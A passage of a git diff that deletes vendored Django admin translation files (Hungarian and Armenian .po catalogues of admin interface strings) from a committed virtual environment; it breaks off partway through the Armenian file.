módosítva." - -msgid "No action selected." -msgstr "Nem választott ki műveletet." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "A(z) \"%(obj)s\" %(name)s törölve lett." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"A(z) \"%(key)s\" azonosítójú %(name)s nem létezik. Esetleg törölve lett?" - -#, python-format -msgid "Add %s" -msgstr "Új %s" - -#, python-format -msgid "Change %s" -msgstr "%s módosítása" - -#, python-format -msgid "View %s" -msgstr "%s megtekintése" - -msgid "Database error" -msgstr "Adatbázishiba" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s sikeresen módosítva lett." -msgstr[1] "%(count)s %(name)s sikeresen módosítva lett." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s kiválasztva" -msgstr[1] "%(total_count)s kiválasztva" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 kiválasztva ennyiből: %(cnt)s" - -msgid "Delete" -msgstr "Törlés" - -#, python-format -msgid "Change history: %s" -msgstr "Változások története: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(instance)s %(class_name)s törlése az alábbi kapcsolódó védett objektumok " -"törlését is magával vonná: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django honlapadminisztráció" - -msgid "Django administration" -msgstr "Django adminisztráció" - -msgid "Site administration" -msgstr "Honlap karbantartása" - -msgid "Log in" -msgstr "Bejelentkezés" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s adminisztráció" - -msgid "Page not found" -msgstr "Nincs ilyen oldal" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Sajnáljuk, de a keresett oldal nem található." - -msgid "Home" -msgstr "Kezdőlap" - -msgid "Server error" -msgstr "Szerverhiba" - -msgid "Server error (500)" -msgstr "Szerverhiba (500)" - -msgid "Server Error (500)" -msgstr "Szerverhiba (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Hiba történt. Az oldal kezelőjét e-mailben értesítettük, a hiba rövidesen " -"javítva lesz. Köszönjük a türelmet." - -msgid "Run the selected action" -msgstr "Kiválasztott művelet futtatása" - -msgid "Go" -msgstr "Mehet" - -msgid "Click here to select the objects across all pages" -msgstr "Kattintson ide több oldalnyi objektum kiválasztásához" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Az összes %(module_name)s kiválasztása, összesen %(total_count)s db" - -msgid "Clear selection" -msgstr "Kiválasztás törlése" - -msgid "Breadcrumbs" -msgstr "Breadcrumb navigáció" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s alkalmazásban elérhető modellek." - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Új" - -msgid "View" -msgstr "Megtekintés" - -msgid "You don’t have permission to view or edit anything." -msgstr "Jelenleg nincs jogosultsága bármit megtekinteni vagy szerkeszteni." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "A felhasználó létrehozása után a többi adat is szerkeszthető lesz." - -msgid "Error:" -msgstr "Hiba:" - -msgid "Change password" -msgstr "Jelszó megváltoztatása" - -msgid "Set password" -msgstr "Jelszó beállítása" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Kérem javítsa a lenti hibát." -msgstr[1] "Kérem javítsa a lenti hibákat." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Adjon meg egy új jelszót %(username)s nevű felhasználónak." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" - -msgid "Disable password-based authentication" -msgstr "" - -msgid "Enable password-based authentication" -msgstr "" - -msgid "Skip to main content" -msgstr "Ugrás az oldal fő részéhez" - -msgid "Welcome," -msgstr "Üdvözlöm," - -msgid "View site" -msgstr "Honlap megtekintése" - -msgid "Documentation" -msgstr "Dokumentáció" - -msgid "Log out" -msgstr "Kijelentkezés" - -#, python-format -msgid "Add %(name)s" -msgstr "Új %(name)s" - -msgid "History" -msgstr "Történet" - -msgid "View on site" -msgstr "Megtekintés a honlapon" - -msgid "Filter" -msgstr "Szűrő" - -msgid "Hide counts" -msgstr "Számok elrejtése" - -msgid "Show counts" -msgstr "Számok megjelenítése" - -msgid "Clear all filters" -msgstr "Összes szűrő törlése" - -msgid "Remove from sorting" -msgstr "Eltávolítás a rendezésből" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioritás rendezésnél: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Rendezés megfordítása" - -msgid "Toggle theme (current theme: auto)" -msgstr "Téma váltás (jelenleg: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Téma váltás (jelenleg: világos)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Téma váltás (jelenleg: sötét)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"\"%(escaped_object)s\" %(object_name)s törlése a kapcsolódó objektumok " -"törlését is eredményezi, de a hozzáférése nem engedi a következő típusú " -"objektumok törlését:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"\"%(escaped_object)s\" %(object_name)s törlése az alábbi kapcsolódó " -"objektumok törlését is maga után vonja:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Biztos hogy törli a következőt: \"%(escaped_object)s\" (típus: " -"%(object_name)s)? A összes további kapcsolódó elem is törlődik:" - -msgid "Objects" -msgstr "Objektumok" - -msgid "Yes, I’m sure" -msgstr "Igen, biztos vagyok benne" - -msgid "No, take me back" -msgstr "Nem, forduljunk vissza" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"A kiválasztott %(objects_name)s törlése kapcsolódó objektumok törlését vonja " -"maga után, de az alábbi objektumtípusok törléséhez nincs megfelelő " -"jogosultsága:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"A kiválasztott %(objects_name)s törlése az alábbi védett kapcsolódó " -"objektumok törlését is maga után vonja:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Biztosan törölni akarja a kiválasztott %(objects_name)s objektumokat? Minden " -"alábbi objektum, és a hozzájuk kapcsolódóak is törlésre kerülnek:" - -msgid "Delete?" -msgstr "Törli?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s szerint " - -msgid "Summary" -msgstr "Összegzés" - -msgid "Recent actions" -msgstr "Legutóbbi műveletek" - -msgid "My actions" -msgstr "Az én műveleteim" - -msgid "None available" -msgstr "Nincs elérhető" - -msgid "Added:" -msgstr "Hozzáadva:" - -msgid "Changed:" -msgstr "Szerkesztve:" - -msgid "Deleted:" -msgstr "Törölve:" - -msgid "Unknown content" -msgstr "Ismeretlen tartalom" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Valami probléma van az adatbázissal. Kérjük győződjön meg róla, hogy a " -"megfelelő táblák létre lettek hozva, és hogy a megfelelő felhasználónak van " -"rájuk olvasási joga." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Jelenleg be vagy lépve mint %(username)s, de nincs jogod elérni ezt az " -"oldalt. Szeretnél belépni egy másik fiókkal?" - -msgid "Forgotten your login credentials?" -msgstr "Elfelejtette a bejelentkezési adatait?" - -msgid "Toggle navigation" -msgstr "Navigáció megjelenítése/elrejtése" - -msgid "Sidebar" -msgstr "Oldalsáv" - -msgid "Start typing to filter…" -msgstr "Kezdjen el gépelni a szűréshez..." - -msgid "Filter navigation items" -msgstr "Navigációs elemek szűrése" - -msgid "Date/time" -msgstr "Dátum/idő" - -msgid "User" -msgstr "Felhasználó" - -msgid "Action" -msgstr "Művelet" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "bejegyzés" -msgstr[1] "bejegyzés" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Ennek az objektumnak nincs változás naplója. Valószínűleg nem az admin " -"felületen keresztül lett rögzítve." - -msgid "Show all" -msgstr "Mutassa mindet" - -msgid "Save" -msgstr "Mentés" - -msgid "Popup closing…" -msgstr "A popup bezáródik…" - -msgid "Search" -msgstr "Keresés" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s találat" -msgstr[1] "%(counter)s találat" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s összesen" - -msgid "Save as new" -msgstr "Mentés újként" - -msgid "Save and add another" -msgstr "Mentés és másik hozzáadása" - -msgid "Save and continue editing" -msgstr "Mentés és a szerkesztés folytatása" - -msgid "Save and view" -msgstr "Mentés és megtekintés" - -msgid "Close" -msgstr "Bezárás" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Kiválasztott %(model)s szerkesztése" - -#, python-format -msgid "Add another %(model)s" -msgstr "Újabb %(model)s hozzáadása" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Kiválasztott %(model)s törlése" - -#, python-format -msgid "View selected %(model)s" -msgstr "Kiválasztott %(model)s megtekintése" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Köszönjük, hogy egy kis minőségi időt eltöltött ma a honlapunkon." - -msgid "Log in again" -msgstr "Jelentkezzen be újra" - -msgid "Password change" -msgstr "Jelszó megváltoztatása" - -msgid "Your password was changed." -msgstr "Megváltozott a jelszava." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Kérjük a biztoság kedvéért adja meg a jelenlegi jelszavát, majd az újat, " -"kétszer, hogy biztosak lehessünk abban, hogy megfelelően gépelte be." - -msgid "Change my password" -msgstr "Jelszavam megváltoztatása" - -msgid "Password reset" -msgstr "Jelszó beállítása" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Jelszava beállításra került. Most már bejelentkezhet." - -msgid "Password reset confirmation" -msgstr "Jelszó beállítás megerősítése" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Írja be az új jelszavát kétszer, hogy megbizonyosodhassunk annak " -"helyességéről." - -msgid "New password:" -msgstr "Új jelszó:" - -msgid "Confirm password:" -msgstr "Jelszó megerősítése:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"A jelszóbeállító link érvénytelen. Ennek egyik oka az lehet, hogy már " -"felhasználták. Kérem indítson új jelszóbeállítást." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Amennyiben a megadott e-mail címhez tartozik fiók, elküldtük e-mailben a " -"leírást, hogy hogyan tudja megváltoztatni a jelszavát. Hamarosan meg kell " -"érkeznie." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Ha nem kapja meg a levelet, kérjük ellenőrizze, hogy a megfelelő e-mail " -"címet adta-e meg, illetve nézze meg a levélszemét mappában is." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Azért kapja ezt az e-mailt, mert jelszavának visszaállítását kérte ezen a " -"weboldalon: %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Kérjük látogassa meg a következő oldalt, és válasszon egy új jelszót:" - -msgid "In case you’ve forgotten, you are:" -msgstr "Ha esetleg elfelejtette volna, a felhasználóneve: " - -msgid "Thanks for using our site!" -msgstr "Köszönjük, hogy használta honlapunkat!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s csapat" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Elfelejtette jelszavát? Adja meg az e-mail-címet, amellyel regisztrált " -"oldalunkon, és e-mailben elküldjük a leírását, hogy hogyan tud újat " -"beállítani." - -msgid "Email address:" -msgstr "E-mail cím:" - -msgid "Reset my password" -msgstr "Jelszavam törlése" - -msgid "Select all objects on this page for an action" -msgstr "Minden objektum kijelölése egy művelethez" - -msgid "All dates" -msgstr "Minden dátum" - -#, python-format -msgid "Select %s" -msgstr "%s kiválasztása" - -#, python-format -msgid "Select %s to change" -msgstr "Válasszon ki egyet a módosításhoz (%s)" - -#, python-format -msgid "Select %s to view" -msgstr "Válasszon ki egyet a megtekintéshez (%s)" - -msgid "Date:" -msgstr "Dátum:" - -msgid "Time:" -msgstr "Idő:" - -msgid "Lookup" -msgstr "Keresés" - -msgid "Currently:" -msgstr "Jelenleg:" - -msgid "Change:" -msgstr "Módosítás:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/djangojs.mo deleted file mode 100644 index e9bed069..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/djangojs.po deleted file mode 100644 index d21b38a1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hu/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,329 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# András Veres-Szentkirályi, 2016,2020-2021,2023 -# Attila Nagy <>, 2012 -# Balázs R, 2023 -# Jannis Leidel , 2011 -# János R, 2011 -# Máté Őry , 2012 -# Szilveszter Farkas , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: András Veres-Szentkirályi, 2016,2020-2021,2023\n" -"Language-Team: Hungarian (http://app.transifex.com/django/django/language/" -"hu/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hu\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Elérhető %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Ez az elérhető %s listája. Úgy választhat közülük, hogy rákattint az alábbi " -"dobozban, és megnyomja a dobozok közti \"Választás\" nyilat." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Írjon a mezőbe az elérhető %s szűréséhez." - -msgid "Filter" -msgstr "Szűrő" - -msgid "Choose all" -msgstr "Mindet kijelölni" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Kattintson az összes %s kiválasztásához." - -msgid "Choose" -msgstr "Választás" - -msgid "Remove" -msgstr "Eltávolítás" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s kiválasztva" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Ez a kiválasztott %s listája. Eltávolíthat közülük, ha rákattint, majd a két " -"doboz közti \"Eltávolítás\" nyílra kattint." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Írjon a mezőbe a kiválasztott %s szűréséhez." - -msgid "Remove all" -msgstr "Összes törlése" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Kattintson az összes %s eltávolításához." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s kiválasztott elem nem látható" -msgstr[1] "%s kiválasztott elem nem látható" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s/%(cnt)s kijelölve" -msgstr[1] "%(sel)s/%(cnt)s kijelölve" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Még el nem mentett módosításai vannak egyes szerkeszthető mezőkön. Ha most " -"futtat egy műveletet, akkor a módosítások elvesznek." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Kiválasztott egy műveletet, de nem mentette az egyes mezőkhöz kapcsolódó " -"módosításait. Kattintson az OK gombra a mentéshez. Újra kell futtatnia az " -"műveletet." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Kiválasztott egy műveletet, és nem módosított egyetlen mezőt sem. " -"Feltehetően a Mehet gombot keresi a Mentés helyett." - -msgid "Now" -msgstr "Most" - -msgid "Midnight" -msgstr "Éjfél" - -msgid "6 a.m." -msgstr "Reggel 6 óra" - -msgid "Noon" -msgstr "Dél" - -msgid "6 p.m." -msgstr "Este 6 óra" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Megjegyzés: %s órával a szerveridő előtt jársz" -msgstr[1] "Megjegyzés: %s órával a szerveridő előtt jársz" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Megjegyzés: %s órával a szerveridő mögött jársz" -msgstr[1] "Megjegyzés: %s órával a szerveridő mögött jársz" - -msgid "Choose a Time" -msgstr "Válassza ki az időt" - -msgid "Choose a time" -msgstr "Válassza ki az időt" - -msgid "Cancel" -msgstr "Mégsem" - -msgid "Today" -msgstr "Ma" - -msgid "Choose a Date" -msgstr "Válassza ki a dátumot" - -msgid "Yesterday" -msgstr "Tegnap" - -msgid "Tomorrow" -msgstr "Holnap" - -msgid "January" -msgstr "január" - -msgid "February" -msgstr "február" - -msgid "March" -msgstr "március" - -msgid "April" -msgstr "április" - -msgid "May" -msgstr "május" - -msgid "June" -msgstr "június" - -msgid "July" -msgstr "július" - -msgid "August" -msgstr "augusztus" - -msgid "September" -msgstr "szeptember" - -msgid "October" -msgstr "október" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "már" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "ápr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "máj" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "jún" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "júl" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "szep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "dec" - -msgid "Sunday" -msgstr "vasárnap" - -msgid "Monday" -msgstr "hétfő" - -msgid "Tuesday" -msgstr "kedd" - -msgid "Wednesday" -msgstr "szerda" - -msgid "Thursday" -msgstr "csütörtök" - -msgid "Friday" -msgstr "péntek" - -msgid "Saturday" -msgstr "szombat" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "vas" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "hét" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "kedd" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "sze" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "csüt" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "pén" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "szo" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "V" - -msgctxt "one letter Monday" -msgid "M" -msgstr "H" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "K" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "S" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "C" - -msgctxt "one letter Friday" -msgid "F" -msgstr "P" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "Mutat" - -msgid "Hide" -msgstr "Elrejt" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/django.mo deleted file mode 100644 index 1627b2d5..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/django.po deleted file mode 100644 index b39e1a72..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hy/LC_MESSAGES/django.po +++ /dev/null @@ -1,708 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Սմբատ Պետրոսյան , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2018-05-21 14:16-0300\n" -"PO-Revision-Date: 2018-11-01 20:23+0000\n" -"Last-Translator: Ruben Harutyunov \n" -"Language-Team: Armenian (http://www.transifex.com/django/django/language/" -"hy/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hy\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Հաջողությամբ հեռացվել է %(count)d %(items)s։" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Հնարավոր չէ հեռացնել %(name)s" - -msgid "Are you sure?" -msgstr "Համոզված ե՞ք" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Հեռացնել նշված %(verbose_name_plural)sը" - -msgid "Administration" -msgstr "Ադմինիստրավորում" - -msgid "All" -msgstr "Բոլորը" - -msgid "Yes" -msgstr "Այո" - -msgid "No" -msgstr "Ոչ" - -msgid "Unknown" -msgstr "Անհայտ" - -msgid "Any date" -msgstr "Ցանկացած ամսաթիվ" - -msgid "Today" -msgstr "Այսօր" - -msgid "Past 7 days" -msgstr "Անցած 7 օրերին" - -msgid "This month" -msgstr "Այս ամիս" - -msgid "This year" -msgstr "Այս տարի" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "Մուտքագրեք անձնակազմի պրոֆիլի ճիշտ %(username)s և գաղտնաբառ։" - -msgid "Action:" -msgstr "Գործողություն" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Ավելացնել այլ %(verbose_name)s" - -msgid "Remove" -msgstr "Հեռացնել" - -msgid "Addition" -msgstr "" - -msgid "Change" -msgstr "Փոփոխել" - -msgid "Deletion" -msgstr "" - -msgid "action time" -msgstr "գործողության ժամանակ" - -msgid "user" -msgstr "օգտագործող" - -msgid "content type" -msgstr "կոնտենտի տիպ" - -msgid "object id" -msgstr "օբյեկտի id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "օբյեկտի repr" - -msgid "action flag" -msgstr "գործողության դրոշ" - -msgid "change message" -msgstr "փոփոխել հաղորդագրությունը" - -msgid "log entry" -msgstr "log գրառում" - -msgid "log entries" -msgstr "log գրառումներ" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "%(object)s֊ը ավելացվեց " - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "%(object)s֊ը փոփոխվեց ֊ %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "%(object)s-ը հեռացվեց" - -msgid "LogEntry Object" -msgstr "LogEntry օբյեկտ" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "Ավելացվեց։" - -msgid "and" -msgstr "և" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "Ոչ մի դաշտ չփոփոխվեց։" - -msgid "None" -msgstr "Ոչինչ" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" -"Սեղմեք \"Control\", կամ \"Command\" Mac֊ի մրա, մեկից ավելին ընտրելու համար։" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Օբյեկտների հետ գործողություն կատարելու համար նրանք պետք է ընտրվեն․ Ոչ մի " -"օբյեկտ չի փոփոխվել։" - -msgid "No action selected." -msgstr "Գործողությունը ընտրված չէ։" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s %(obj)s֊ը հաջողությամբ հեռացվեց։" - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Ավելացնել %s" - -#, python-format -msgid "Change %s" -msgstr "Փոփոխել %s" - -#, python-format -msgid "View %s" -msgstr "" - -msgid "Database error" -msgstr "Տվյալների բազաի սխալ" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s հաջողությամբ փոփոխվեց։" -msgstr[1] "%(count)s %(name)s հաջողությամբ փոփոխվեցին։" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Ընտրված են %(total_count)s" -msgstr[1] "Բոլոր %(total_count)s֊ը ընտրված են " - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s֊ից 0֊ն ընտրված է" - -#, python-format -msgid "Change history: %s" -msgstr "Փոփոխությունների պատմություն %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(instance)s %(class_name)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(instance)s %(class_name)s֊ը հեռացնելու համար անհրաժեշտ է հեռացնել նրա հետ " -"կապված պաշտպանված օբյեկտները՝ %(related_objects)s" - -msgid "Django site admin" -msgstr "Django կայքի ադմինիստրավորման էջ" - -msgid "Django administration" -msgstr "Django ադմինիստրավորում" - -msgid "Site administration" -msgstr "Կայքի ադմինիստրավորում" - -msgid "Log in" -msgstr "Մուտք" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s ադմինիստրավորում" - -msgid "Page not found" -msgstr "Էջը գտնված չէ" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Ներողություն ենք հայցում, բայց հարցվող Էջը գտնված չէ" - -msgid "Home" -msgstr "Գլխավոր" - -msgid "Server error" -msgstr "Սերվերի սխալ" - -msgid "Server error (500)" -msgstr "Սերվերի սխալ (500)" - -msgid "Server Error (500)" -msgstr "Սերվերի սխալ (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Առաջացել է սխալ։ Ադմինիստրատորները տեղեկացվել են դրա մասին էլեկտրոնային " -"փոստի միջոցով և այն կուղղվի կարճ ժամանակահատվածի ընդացքում․ Շնորհակալ ենք " -"ձեր համբերության համար։" - -msgid "Run the selected action" -msgstr "Կատարել ընտրված գործողությունը" - -msgid "Go" -msgstr "Կատարել" - -msgid "Click here to select the objects across all pages" -msgstr "Սեղմեք այստեղ բոլոր էջերից օբյեկտներ ընտրելու համար" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Ընտրել բոլոր %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Չեղարկել ընտրությունը" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Սկզբում մուտքագրեք 